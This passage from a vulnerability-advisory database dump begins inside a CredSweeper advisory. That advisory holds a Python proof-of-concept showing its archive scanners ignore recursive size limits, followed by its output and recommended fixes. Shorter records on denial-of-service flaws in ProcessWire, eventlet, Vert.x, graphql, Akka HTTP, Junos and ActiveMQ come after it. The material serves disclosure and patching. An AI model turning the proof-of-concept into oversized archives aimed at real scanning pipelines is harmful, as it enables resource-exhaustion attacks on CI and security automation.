tar_module, provider_module\n\nclass RecordingRecursiveCalls:\n    def __init__(self):\n        self.calls = []\n        self.config = object()\n    def recursive_scan(self, data_provider, depth, recursive_limit_size):\n        self.calls.append({\n            \"path\": data_provider.file_path,\n            \"len\": len(data_provider.data),\n            \"limit\": recursive_limit_size,\n            \"info\": data_provider.info,\n            \"depth\": depth,\n        })\n        return []\n\ndef build_compressed_payloads(payload):\n    gzip_buffer = io.BytesIO()\n    with gzip.GzipFile(fileobj=gzip_buffer, mode=\"wb\") as handle:\n        handle.write(payload)\n    return {\n        \"gzip\": gzip_buffer.getvalue(),\n        \"bzip2\": bz2.compress(payload),\n        \"lzma\": lzma.compress(payload),\n    }\n\ndef proof_negative_budget_after_full_decompression():\n    _, gzip_module, bzip2_module, lzma_module, _, _, provider_module = load_scanners()\n    DataContentProvider = provider_module.DataContentProvider\n    payload = b\"A\" * 64\n    recursive_limit_size = 16\n    compressed_payloads = build_compressed_payloads(payload)\n    results = []\n    for name, module, file_name in [\n        (\"gzip\", gzip_module, \"proof.txt.gz\"),\n        (\"bzip2\", bzip2_module, \"proof.txt.bz2\"),\n        (\"lzma\", lzma_module, \"proof.txt.xz\"),\n    ]:\n        recorder = RecordingRecursiveCalls()\n        provider = DataContentProvider(compressed_payloads[name], file_path=file_name, file_type=os.path.splitext(file_name)[1], info=f\"FILE:{file_name}\")\n        scanner_class = getattr(module, f\"{name.capitalize() if name != \u0027bzip2\u0027 else \u0027Bzip2\u0027}Scanner\")\n        scanner_class.data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size)\n        results.append({\n            \"format\": name,\n            \"compressed_size\": len(compressed_payloads[name]),\n            \"decompressed_size\": recorder.calls[0][\"len\"],\n            \"configured_limit\": recursive_limit_size,\n            \"residual_limit_seen_by_recursive_scan\": recorder.calls[0][\"limit\"],\n            \"recursive_call\": recorder.calls[0],\n        })\n    return results\n\ndef proof_negative_budget_not_rejected():\n    abstract_module, _, _, _, _, _, provider_module = load_scanners()\n    DataContentProvider = provider_module.DataContentProvider\n    AbstractScanner = abstract_module.AbstractScanner\n    class DemoScanner(AbstractScanner):\n        @property\n        def config(self):\n            return object()\n        @property\n        def scanner(self):\n            return object()\n        def data_scan(self, data_provider, depth, recursive_limit_size):\n            return []\n        @staticmethod\n        def get_deep_scanners(data, descriptor, depth):\n            return [], []\n        def deep_scan_with_fallback(self, data_provider, depth, recursive_limit_size):\n            self.proof = {\n                \"data_len\": len(data_provider.data),\n                \"depth\": depth,\n                \"recursive_limit_size\": recursive_limit_size,\n            }\n            return []\n    demo = DemoScanner()\n    provider = DataContentProvider(b\"A\" * 64, file_path=\"oversize.txt\", file_type=\".txt\", info=\"FILE:oversize.txt\")\n    demo.recursive_scan(provider, depth=1, recursive_limit_size=-48)\n    return demo.proof\n\ndef proof_cumulative_budget_bypass_in_multi_entry_archives():\n    _, _, _, _, zip_module, tar_module, provider_module = load_scanners()\n    DataContentProvider = provider_module.DataContentProvider\n    recursive_limit_size = 16\n    member_size = 12\n\n    zip_buffer = io.BytesIO()\n    with zipfile.ZipFile(zip_buffer, \"w\", zipfile.ZIP_DEFLATED) as archive:\n        archive.writestr(\"a.txt\", b\"A\" * member_size)\n        archive.writestr(\"b.txt\", b\"B\" * member_size)\n\n    tar_buffer = io.BytesIO()\n    with tarfile.open(fileobj=tar_buffer, mode=\"w\") as archive:\n        for name, fill in [(\"a.txt\", b\"A\"), (\"b.txt\", b\"B\")]:\n            payload = fill * member_size\n            info = tarfile.TarInfo(name)\n            info.size = len(payload)\n            archive.addfile(info, io.BytesIO(payload))\n\n    results = []\n    for name, module, data, scanner_name in [\n        (\"zip\", zip_module, zip_buffer.getvalue(), \"ZipScanner\"),\n        (\"tar\", tar_module, tar_buffer.getvalue(), \"TarScanner\"),\n    ]:\n        recorder = RecordingRecursiveCalls()\n        provider = DataContentProvider(data, file_path=f\"proof.{name}\", file_type=f\".{name}\", info=f\"FILE:proof.{name}\")\n        getattr(module, scanner_name).data_scan(recorder, provider, depth=1, recursive_limit_size=recursive_limit_size)\n        results.append({\n            \"format\": name,\n            \"configured_limit\": recursive_limit_size,\n            \"member_size\": member_size,\n            \"member_count\": len(recorder.calls),\n            \"total_extracted_bytes\": sum(call[\"len\"] for call in recorder.calls),\n            \"recursive_calls\": recorder.calls,\n        })\n    return results\n\nprint(json.dumps({\n    \"head_commit\": get_head_commit(),\n    \"package_version\": get_package_version(),\n    \"proof_1_negative_budget_after_full_decompression\": proof_negative_budget_after_full_decompression(),\n    \"proof_2_negative_budget_not_rejected\": proof_negative_budget_not_rejected(),\n    \"proof_3_cumulative_budget_bypass_in_multi_entry_archives\": proof_cumulative_budget_bypass_in_multi_entry_archives(),\n}, indent=2, sort_keys=True))\n```\n\n3. Run it with Python 3:\n\n```bash\npython proof_poc.py\n```\n\n4. Expected/observed output from my run on commit `8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6`:\n\n```json\n{\n  \"head_commit\": \"8b081acf04311eafe8fbd66ea41d02b0a7a4c6f6\",\n  \"package_version\": \"1.15.8\",\n  \"proof_1_negative_budget_after_full_decompression\": [\n    {\n      \"format\": \"gzip\",\n      \"compressed_size\": 24,\n      \"configured_limit\": 16,\n      \"decompressed_size\": 64,\n      \"residual_limit_seen_by_recursive_scan\": -48\n    },\n    {\n      \"format\": \"bzip2\",\n      \"compressed_size\": 39,\n      \"configured_limit\": 16,\n      \"decompressed_size\": 64,\n      \"residual_limit_seen_by_recursive_scan\": -48\n    },\n    {\n      \"format\": \"lzma\",\n      \"compressed_size\": 68,\n      \"configured_limit\": 16,\n      \"decompressed_size\": 64,\n      \"residual_limit_seen_by_recursive_scan\": -48\n    }\n  ],\n  \"proof_2_negative_budget_not_rejected\": {\n    \"data_len\": 64,\n    \"depth\": 0,\n    \"recursive_limit_size\": -48\n  },\n  \"proof_3_cumulative_budget_bypass_in_multi_entry_archives\": [\n    {\n      \"format\": \"zip\",\n      \"configured_limit\": 16,\n      \"member_size\": 12,\n      \"member_count\": 2,\n      \"total_extracted_bytes\": 24\n    },\n    {\n      \"format\": \"tar\",\n      \"configured_limit\": 16,\n      \"member_size\": 12,\n      \"member_count\": 2,\n      \"total_extracted_bytes\": 24\n    }\n  ]\n}\n```\n\nWhat this proves:\n\n- GZIP/BZIP2/LZMA:\n  With a configured recursive limit of `16`, CredSweeper still fully inflates a `64` byte payload and then continues recursion with a residual limit of `-48`.\n\n- AbstractScanner:\n  The negative budget is not rejected. `recursive_scan()` still dispatches into `deep_scan_with_fallback()` with `recursive_limit_size = -48`.\n\n- ZIP/TAR:\n  A configured limit of `16` still allows two `12` byte members to be processed, for a total extracted size of `24`.\n\nThis is a complete end-to-end proof of the root cause and both exploitation variants.\n\n### Impact\nThis is an availability / resource-exhaustion vulnerability.\n\nWho is impacted:\n\n- Users who run CredSweeper with deep scanning enabled (`--depth \u003e 0`) on untrusted repositories, archives, or binary inputs.\n- CI jobs, pre-merge checks, internal security automation, and local review workflows that recursively inspect attacker-controlled compressed files.\n- Downstream services that expose CredSweeper as part of automated scanning of uploaded or fetched content.\n\nPractical consequences:\n\n- Oversized decompressed content can be materialized and scanned even when it exceeds the configured recursive budget.\n- Archive inputs with many individually small members can exceed the configured budget in aggregate.\n- Jobs may hang, consume excessive memory/CPU, or be terminated by the operating system / CI platform.\n\nSecurity classification:\n\n- Primary weakness: `CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)`\n- Related weakness: `CWE-400: Uncontrolled Resource Consumption`\n\nI did not confirm confidentiality or integrity impact from this issue. The impact I confirmed is denial of service / resource exhaustion.\n\n### Mitigation\nI recommend fixing this in three layers:\n\n1. Add a hard negative-budget guard in `recursive_scan()` and `structure_scan()`\n\nBefore any recursive dispatch, abort when `recursive_limit_size \u003c 0`.\n\n2. Enforce limits before or during decompression, not after full materialization\n\n- `gzip`, `bzip2`, `lzma/xz` should use bounded incremental decompression / bounded reads.\n- If the decompressed size exceeds the remaining budget, stop immediately before constructing the full payload in memory.\n\n3. Track a mutable cumulative budget across sibling archive members\n\n- `zip`, `tar`, and `rpm` should share a remaining-budget counter across entries.\n- After one child is accepted, decrement the shared remaining budget before processing the next sibling.\n\nRecommended regression tests:\n\n- A gzip payload whose decompressed size exceeds the recursive limit must be rejected before recursion and without a negative residual budget being processed.\n- Equivalent tests for bzip2 and lzma/xz.\n- A zip/tar archive with two members that are each under the per-entry threshold but exceed the total threshold together must stop after the budget is exhausted.\n- A direct unit test for `recursive_scan()` showing that negative `recursive_limit_size` stops recursion immediately.",
  "id": "GHSA-9mqm-qcwf-5qhg",
  "modified": "2026-07-10T19:25:51Z",
  "published": "2026-07-10T19:25:51Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Samsung/CredSweeper/security/advisories/GHSA-9mqm-qcwf-5qhg"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Samsung/CredSweeper"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CredSweeper: Recursive archive size-limit bypass in deep scanner allows crafted compressed inputs to exhaust resources"
}

GHSA-9P44-Q66P-XM6P

Vulnerability from github – Published: 2025-10-21 18:30 – Updated: 2025-10-27 20:01
VLAI
Summary
ProcessWire CMS vulnerable to resource-exhaustion Denial of Service
Details

ProcessWire CMS 3.0.246 allows a low-privileged user with lang-edit to upload a crafted ZIP to Language Support that is auto-extracted without limits prior to validation, enabling resource-exhaustion Denial of Service.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "processwire/processwire"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.0.246"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-60790"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-21T21:04:22Z",
    "nvd_published_at": "2025-10-21T18:15:36Z",
    "severity": "MODERATE"
  },
  "details": "ProcessWire CMS 3.0.246 allows a low-privileged user with lang-edit to upload a crafted ZIP to Language Support that is auto-extracted without limits prior to validation, enabling resource-exhaustion Denial of Service.",
  "id": "GHSA-9p44-q66p-xm6p",
  "modified": "2025-10-27T20:01:33Z",
  "published": "2025-10-21T18:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-60790"
    },
    {
      "type": "WEB",
      "url": "https://github.com/processwire/processwire-issues/issues/2120"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NomanProdhan/security-vulnerability-research/tree/master/CVE-2025-60790"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/processwire/processwire"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "ProcessWire CMS vulnerable to resource-exhaustion Denial of Service"
}

GHSA-9P9M-JM8W-94P2

Vulnerability from github – Published: 2021-05-07 15:50 – Updated: 2024-09-20 17:20
VLAI
Summary
Improper Handling of Highly Compressed Data (Data Amplification) and Memory Allocation with Excessive Size Value in eventlet
Details

Impact

A websocket peer may exhaust memory on Eventlet side by sending very large websocket frames. Malicious peer may exhaust memory on Eventlet side by sending highly compressed data frame.

Patches

Version 0.31.0 restricts websocket frame to reasonable limits.

Workarounds

Restricting memory usage via OS limits would help against overall machine exhaustion. No workaround to protect Eventlet process.

For more information

If you have any questions or comments about this advisory: * Open an issue in eventlet * Contact current maintainers. At 2021-03: temotor@gmail.com or https://t.me/temotor

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "eventlet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.10"
            },
            {
              "fixed": "0.31.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-21419"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-07T14:31:05Z",
    "nvd_published_at": "2021-05-07T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nA websocket peer may exhaust memory on Eventlet side by sending very large websocket frames. Malicious peer may exhaust memory on Eventlet side by sending highly compressed data frame.\n\n### Patches\nVersion 0.31.0 restricts websocket frame to reasonable limits.\n\n### Workarounds\nRestricting memory usage via OS limits would help against overall machine exhaustion. No workaround to protect Eventlet process.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [eventlet](https://github.com/eventlet/eventlet/issues)\n* Contact current maintainers. At 2021-03: temotor@gmail.com or https://t.me/temotor",
  "id": "GHSA-9p9m-jm8w-94p2",
  "modified": "2024-09-20T17:20:53Z",
  "published": "2021-05-07T15:50:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/eventlet/eventlet/security/advisories/GHSA-9p9m-jm8w-94p2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21419"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eventlet/eventlet/commit/1412f5e4125b4313f815778a1acb4d3336efcd07"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/eventlet/eventlet"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/eventlet/PYSEC-2021-12.yaml"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2WJFSBPLCNSZNHYQC4QDRDFRTEZRMD2L"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/R5JZP4LZOSP7CUAM3GIRW6PIAWKH5VGB"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Improper Handling of Highly Compressed Data (Data Amplification) and Memory Allocation with Excessive Size Value in eventlet"
}

GHSA-9PH3-V2VH-3QX7

Vulnerability from github – Published: 2024-04-02 09:30 – Updated: 2026-02-27 20:57
VLAI
Summary
Eclipse Vert.x vulnerable to a memory leak in TCP servers
Details

A vulnerability in the Eclipse Vert.x toolkit causes a memory leak in TCP servers configured with TLS and SNI support. When processing an unknown SNI server name assigned the default certificate instead of a mapped certificate, the SSL context is erroneously cached in the server name map, leading to memory exhaustion. This flaw allows attackers to send TLS client hello messages with fake server names, triggering a JVM out-of-memory error.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.vertx:vertx-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.3.4"
            },
            {
              "fixed": "4.4.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.vertx:vertx-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.5.0"
            },
            {
              "fixed": "4.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-1300"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-772"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-02T16:15:47Z",
    "nvd_published_at": "2024-04-02T08:15:53Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the Eclipse Vert.x toolkit causes a memory leak in TCP servers configured with TLS and SNI support. When processing an unknown SNI server name assigned the default certificate instead of a mapped certificate, the SSL context is erroneously cached in the server name map, leading to memory exhaustion. This flaw allows attackers to send TLS client hello messages with fake server names, triggering a JVM out-of-memory error.",
  "id": "GHSA-9ph3-v2vh-3qx7",
  "modified": "2026-02-27T20:57:55Z",
  "published": "2024-04-02T09:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1300"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eclipse-vertx/vert.x/pull/5101"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eclipse-vertx/vert.x/pull/5100"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eclipse-vertx/vert.x/pull/5099"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eclipse-vertx/vert.x/commit/7ad34ea9d78f85e26b231ee3ec8d492d10046479"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eclipse-vertx/vert.x/commit/3d9235cadf44df39a70dc75bddfe0b8fcbd6a683"
    },
    {
      "type": "WEB",
      "url": "https://vertx.io/docs/vertx-core/java/#_server_name_indication_sni."
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/eclipse-vertx/vert.x"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2263139"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2024-1300"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:4884"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:3989"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:3527"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:2833"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:2088"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:1923"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:1706"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:1662"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Eclipse Vert.x vulnerable to a memory leak in TCP servers"
}

GHSA-9PV7-VFVM-6VR7

Vulnerability from github – Published: 2023-09-20 06:30 – Updated: 2023-09-21 17:03
VLAI
Summary
graphql Uncontrolled Resource Consumption vulnerability
Details

Versions of the package graphql from 16.3.0 and before 16.8.1 are vulnerable to Denial of Service (DoS) due to insufficient checks in the OverlappingFieldsCanBeMergedRule.ts file when parsing large queries. This vulnerability allows an attacker to degrade system performance.

Note: It was not proven that this vulnerability can crash the process.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "graphql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "16.3.0"
            },
            {
              "fixed": "16.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-26144"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-09-21T17:03:11Z",
    "nvd_published_at": "2023-09-20T05:15:39Z",
    "severity": "MODERATE"
  },
  "details": "Versions of the package graphql from 16.3.0 and before 16.8.1 are vulnerable to Denial of Service (DoS) due to insufficient checks in the OverlappingFieldsCanBeMergedRule.ts file when parsing large queries. This vulnerability allows an attacker to degrade system performance.\n\n**Note:** It was not proven that this vulnerability can crash the process.",
  "id": "GHSA-9pv7-vfvm-6vr7",
  "modified": "2023-09-21T17:03:11Z",
  "published": "2023-09-20T06:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26144"
    },
    {
      "type": "WEB",
      "url": "https://github.com/graphql/graphql-js/issues/3955"
    },
    {
      "type": "WEB",
      "url": "https://github.com/graphql/graphql-js/pull/3972"
    },
    {
      "type": "WEB",
      "url": "https://github.com/graphql/graphql-js/commit/8f4c64eb6a7112a929ffeef00caa67529b3f2fcf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/graphql/graphql-js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/graphql/graphql-js/releases/tag/v16.8.1"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-GRAPHQL-5905181"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "graphql Uncontrolled Resource Consumption vulnerability"
}

GHSA-9QC4-372J-5862

Vulnerability from github – Published: 2022-05-14 02:57 – Updated: 2022-05-14 02:57
VLAI
Details

Firmware in the Intel Puma 5, 6, and 7 Series might experience resource depletion or timeout, which allows a network attacker to create a denial of service via crafted network traffic.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-5693"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-07-31T19:29:00Z",
    "severity": "HIGH"
  },
  "details": "Firmware in the Intel Puma 5, 6, and 7 Series might experience resource depletion or timeout, which allows a network attacker to create a denial of service via crafted network traffic.",
  "id": "GHSA-9qc4-372j-5862",
  "modified": "2022-05-14T02:57:28Z",
  "published": "2022-05-14T02:57:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-5693"
    },
    {
      "type": "WEB",
      "url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-000097.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/104941"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9QFV-M6W2-FHCH

Vulnerability from github – Published: 2025-10-28 18:30 – Updated: 2025-12-04 18:30
VLAI
Details

Hotta Studio GameDriverX64.sys 7.23.4.7, a signed kernel-mode anti-cheat driver, allows local attackers to cause a denial of service by crashing arbitrary processes via sending crafted IOCTL requests.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-61155"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-28T16:15:39Z",
    "severity": "MODERATE"
  },
  "details": "Hotta Studio GameDriverX64.sys 7.23.4.7, a signed kernel-mode anti-cheat driver, allows local attackers to cause a denial of service by crashing arbitrary processes via sending crafted IOCTL requests.",
  "id": "GHSA-9qfv-m6w2-fhch",
  "modified": "2025-12-04T18:30:37Z",
  "published": "2025-10-28T18:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61155"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pollotherunner/CVE-2025-61155/blob/main/advisory.md"
    },
    {
      "type": "WEB",
      "url": "https://www.hotta.com.tw"
    },
    {
      "type": "WEB",
      "url": "http://gamedriverx64sys.com"
    },
    {
      "type": "WEB",
      "url": "http://hotta.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9QGC-P27W-3HJG

Vulnerability from github – Published: 2018-10-22 20:37 – Updated: 2021-09-08 20:46
VLAI
Summary
High severity vulnerability that affects com.typesafe.akka:akka-http-core_2.11 and com.typesafe.akka:akka-http-core_2.12
Details

The decodeRequest and decodeRequestWith directives in Lightbend Akka HTTP 10.1.x through 10.1.4 and 10.0.x through 10.0.13 allow remote attackers to cause a denial of service (memory consumption and daemon crash) via a ZIP bomb.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.typesafe.akka:akka-http-core_2.12"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.1.0"
            },
            {
              "fixed": "10.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.typesafe.akka:akka-http-core_2.11"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.1.0"
            },
            {
              "fixed": "10.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-16131"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:29:22Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "The decodeRequest and decodeRequestWith directives in Lightbend Akka HTTP 10.1.x through 10.1.4 and 10.0.x through 10.0.13 allow remote attackers to cause a denial of service (memory consumption and daemon crash) via a ZIP bomb.",
  "id": "GHSA-9qgc-p27w-3hjg",
  "modified": "2021-09-08T20:46:55Z",
  "published": "2018-10-22T20:37:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16131"
    },
    {
      "type": "WEB",
      "url": "https://github.com/akka/akka-http/issues/2137"
    },
    {
      "type": "WEB",
      "url": "https://akka.io/blog/news/2018/08/30/akka-http-dos-vulnerability-found"
    },
    {
      "type": "WEB",
      "url": "https://doc.akka.io/docs/akka-http/current/security/2018-09-05-denial-of-service-via-decodeRequest.html"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-9qgc-p27w-3hjg"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/forum/#!topic/akka-security/Dj7INsYWdjg"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "High severity vulnerability that affects com.typesafe.akka:akka-http-core_2.11 and com.typesafe.akka:akka-http-core_2.12"
}

GHSA-9QHV-29P6-WWP6

Vulnerability from github – Published: 2022-05-24 17:23 – Updated: 2022-05-24 17:23
VLAI
Details

On Juniper Networks Junos MX Series with service card configured, receipt of a stream of specific packets may crash the MS-PIC component on MS-MIC or MS-MPC. By continuously sending these specific packets, an attacker can repeatedly bring down MS-PIC on MS-MIC/MS-MPC causing a prolonged Denial of Service. This issue affects MX Series devices using MS-PIC, MS-MIC or MS-MPC service cards with any service configured. This issue affects Juniper Networks Junos OS on MX Series: 17.2R2-S7; 17.3R3-S4, 17.3R3-S5; 17.4R2-S4 and the subsequent SRs (17.4R2-S5, 17.4R2-S6, etc.); 17.4R3; 18.1R3-S3, 18.1R3-S4, 18.1R3-S5, 18.1R3-S6, 18.1R3-S7, 18.1R3-S8; 18.2R3, 18.2R3-S1, 18.2R3-S2; 18.3R2 and the SRs based on 18.3R2; 18.4R2 and the SRs based on 18.4R2; 19.1R1 and the SRs based on 19.1R1; 19.2R1 and the SRs based on 19.2R1; 19.3R1 and the SRs based on 19.3R1.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-1650"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-07-17T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "On Juniper Networks Junos MX Series with service card configured, receipt of a stream of specific packets may crash the MS-PIC component on MS-MIC or MS-MPC. By continuously sending these specific packets, an attacker can repeatedly bring down MS-PIC on MS-MIC/MS-MPC causing a prolonged Denial of Service. This issue affects MX Series devices using MS-PIC, MS-MIC or MS-MPC service cards with any service configured. This issue affects Juniper Networks Junos OS on MX Series: 17.2R2-S7; 17.3R3-S4, 17.3R3-S5; 17.4R2-S4 and the subsequent SRs (17.4R2-S5, 17.4R2-S6, etc.); 17.4R3; 18.1R3-S3, 18.1R3-S4, 18.1R3-S5, 18.1R3-S6, 18.1R3-S7, 18.1R3-S8; 18.2R3, 18.2R3-S1, 18.2R3-S2; 18.3R2 and the SRs based on 18.3R2; 18.4R2 and the SRs based on 18.4R2; 19.1R1 and the SRs based on 19.1R1; 19.2R1 and the SRs based on 19.2R1; 19.3R1 and the SRs based on 19.3R1.",
  "id": "GHSA-9qhv-29p6-wwp6",
  "modified": "2022-05-24T17:23:53Z",
  "published": "2022-05-24T17:23:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-1650"
    },
    {
      "type": "WEB",
      "url": "https://kb.juniper.net/JSA11037"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-9QJ4-V6R6-3WMX

Vulnerability from github – Published: 2026-06-30 12:31 – Updated: 2026-06-30 15:30
VLAI
Details

Denial of Service via Out of Memory vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ, Apache ActiveMQ All.

Following the fix for CVE-2026-49270 an unauthenticated attacker can now cause broker OOM by sending an repeated BrokerInfo commands without sending a ConnectionInfo, until the broker will crash with OOM. This issue affects Apache ActiveMQ Broker: from 5.19.7 before 5.19.8, from 6.2.6 before 6.2.7; Apache ActiveMQ: from 5.19.7 before 5.19.8, from 6.2.6 before 6.2.7; Apache ActiveMQ All: from 5.19.7 before 5.19.8, from 6.2.6 before 6.2.7.

Users are recommended to upgrade to version 6.2.7, which fixes the issue.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-50750"
